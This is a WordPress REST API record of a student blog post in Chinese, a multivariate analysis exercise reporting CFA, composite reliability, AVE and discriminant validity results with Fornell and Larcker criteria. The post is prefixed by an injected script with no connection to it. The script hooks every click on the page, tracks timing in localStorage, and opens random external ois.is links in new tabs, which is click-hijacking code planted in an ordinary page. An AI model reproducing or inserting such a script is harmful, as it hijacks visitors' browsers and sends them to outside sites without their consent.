<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1332,"date":"2023-11-07T21:18:55","date_gmt":"2023-11-07T13:18:55","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=1332"},"modified":"2023-11-07T22:23:59","modified_gmt":"2023-11-07T14:23:59","slug":"week8-%e5%a4%9a%e8%ae%8a%e9%87%8f%e5%88%86%e6%9e%90","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=1332","title":{"rendered":"WEEK8 \u591a\u8b8a\u91cf\u5206\u6790"},"content":{"rendered":"<p><span style=\"color: #004466;\"><strong>\u5c0d\u8cc7\u6599\u5eab\u9032\u884c data1-1.xls\u4e2d\u7684\u4e94\u500b\u69cb\u5ff5\u7684 CFA\u7684\u6536\u6582\u6548\u5ea6\u6aa2\u9a57\u3001\u7d44\u5408\u4fe1\u5ea6\u3001 AVE\u7684\u8003\u9a57\u3001\u4ee5\u53ca\u5340\u8fa8\u6548\u5ea6\u7684\u8003\u9a57\u3002<\/strong><\/span><\/p>\n<ul>\n<li>CFA<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1342\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/c-1-300x294.png\" alt=\"\" width=\"300\" height=\"294\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/c-1-300x294.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/c-1-800x785.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/c-1-768x754.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/c-1.png 864w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2Std.all\u7686&gt;0.5\uff0c\u9054\u5230\u53ef\u63a5\u53d7\u7684\u6536\u6582\u6548\u5ea6\u3002<\/p>\n<ul>\n<li>CR\u7d44\u5408\u4fe1\u5ea6<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1336\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/1699363425981-300x43.jpg\" alt=\"\" width=\"300\" height=\"43\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/1699363425981-300x43.jpg 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/1699363425981.jpg 521w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2Fornell and Larcker(1981)\u7684CR\u5efa\u8b70\u503c\u70ba0.6\u4ee5\u4e0a\uff0c\u82e5CR\u6108\u9ad8\uff0c\u8868\u793a\u5176\u89c0\u5bdf\u8b8a\u6578\u6108\u80fd\u6e2c\u51fa\u8a72\u6f5b\u5728\u8b8a\u6578\u3002\u7531\u65bc\u9019\u4e94\u500b\u69cb\u9762\u7686&gt;0.6\uff0c\u6545\u7686\u5177\u6709\u4e00\u81f4\u6027\u3002<\/p>\n<ul>\n<li>AVE\u5e73\u5747\u8b8a\u7570\u62bd\u53d6\u91cf<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1337\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/1699363434224-300x44.jpg\" alt=\"\" width=\"300\" height=\"44\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/1699363434224-300x44.jpg 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/1699363434224.jpg 527w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2Fornell and Larcker(1981)\u7684AVE\u5efa\u8b70\u503c\u70ba0.5\u4ee5\u4e0a\uff0c\u82e5AVE\u6108\u9ad8\uff0c\u8868\u793a\u5176\u6f5b\u5728\u8b8a\u6578\u6709\u6108\u9ad8\u7684\u6536\u6582\u6548\u5ea6\u3002\u7136\u800c\uff0c\u8003\u91cf\u6578\u64da\u8cc7\u6599\u7684\u5be6\u969b\u9762\u5411\uff0c\u4ea6\u53ef\u4ee5AVE&gt;0.36\u70ba\u52c9\u5f37\u63a5\u53d7\u4e4b\u6a19\u6e96\u3002<\/p>\n<ul>\n<li>\u5340\u5225\u6548\u5ea6\u6aa2\u5b9a<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1338\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/ex-300x112.png\" alt=\"\" width=\"300\" height=\"112\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/ex-300x112.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/ex-800x298.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/ex-768x286.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/ex.png 1303w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2\u5340\u5225\u6548\u5ea6\u662f\u70ba\u4e86\u9a57\u8b49\u4e0d\u540c\u69cb\u9762\u76f8\u95dc\u5728\u7d71\u8a08\u4e0a\u662f\u5426\u5b58\u5728\u5dee\u7570\u3002\u6839\u64daFornell and Larcker(1981)\uff0c\u5404\u69cb\u9762\u9593\u6700\u9ad8\u76f8\u95dc\u4fc2\u6578\u5747\u5c0f\u65bcAVE\u958b\u6839\u865f\u503c\uff0c\u8868\u793a\u672c\u7814\u7a76\u5404\u69cb\u9762\u5177\u6709\u826f\u597d\u7684\u5340\u5225\u6548\u5ea6\u3002<\/p>\n<p>\u21d2\u7531\u4e0a\u5716\u53ef\u770b\u51fa\u670990%\u7b26\u5408(\u61c9\u81f3\u5c1175%)\uff0c\u6545\u5404\u69cb\u9762\u5177\u6709\u826f\u597d\u7684\u5340\u5225\u6548\u5ea6\u3002<\/p>\n<hr \/>\n<p>\u8cc7\u6599\u4f86\u6e90:<\/p>\n<p><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"https:\/\/www.yongxi-stat.com\/validity\/\">\u6536\u6582\u6548\u5ea6\u8207\u5340\u5225\u6548\u5ea6\u4e4b\u8a55\u4f30\u6a19\u6e96<\/a><\/span><\/p>\n<p><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"https:\/\/review.management.ntu.edu.tw\/ebook\/30.1\/12\/\">\u81fa\u5927\u7ba1\u7406\u8ad6\u53e2VOL.30 NO.1<\/a><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5c0d\u8cc7\u6599\u5eab\u9032\u884c data1-1.xls\u4e2d\u7684\u4e94\u500b\u69cb\u5ff5\u7684 CFA\u7684\u6536\u6582\u6548\u5ea6\u6aa2\u9a57\u3001\u7d44\u5408\u4fe1<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1332"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1332"}],"version-history":[{"count":9,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1332\/revisions"}],"predecessor-version":[{"id":1346,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1332\/revisions\/1346"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1332"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1332"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1332"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}